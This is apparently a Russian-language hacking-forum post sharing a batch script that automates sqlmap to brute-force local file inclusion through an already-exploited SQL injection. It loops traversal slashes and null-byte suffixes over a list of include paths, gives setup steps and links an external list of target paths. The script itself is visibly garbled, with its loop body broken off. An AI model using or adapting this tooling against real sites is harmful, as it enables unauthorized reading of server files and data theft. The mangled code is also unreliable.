а что мешает самим написать?
вот набросал код для sqlmapa
Код:
@Echo Off
SETLocal EnableDelayedExpansion
SET PythonDir=D:\Python27\
SET SqlMapDir=D:\Python27\sqlmap\
SET Injection="www.host.com/index.php?id=1"
SET DirCount=8
SET EndVar=
for /f %%N in ('find /c /v "" ^>%cd%/see.log
SET /a result=!RowCount!-!RemainingLines!
SET /a resultt=!DirCount!-!RemainingVariations!
cls
Echo Now looping: !result! row of %RowCount%, remaining rows !RemainingLines!
Echo Now looping !result! rows: !resultt! variation of %DirCount%, remaining variations !RemainingVariations!
Echo Now looping: Dir Nr !result! !T!%%i%EndVar%
)
)
открываем блокнот копируем туда этот код сохраняем как файл include.bat
предварительно вставив необходимые данные согласно вашим данных
SET PythonDir=D:\Python27\ - путь к папке с питоном
SET SqlMapDir=D:\Python27\sqlmap\ - путь к папке с sqlmap
SET Injection="www.host.com/index.php?id=1" - тут инъекция ( обязательно перед этим раскрученная в sqlmape, тобишь реально распознаваемая им )
SET DirCount=8 - количество подставляемых слешей
SET EndVar= - тут если хотим в конец добавить нулл бай то пишем %%00 или %%00.jpg, если добавить слеш то пишем \, если ничего то оставляем пустым
список с инклудами поместить туда же где и сам батник, назвать lfi.txt и запустить батник.
свой список инклудов прилагается http://pastebin.com/vejT1tvk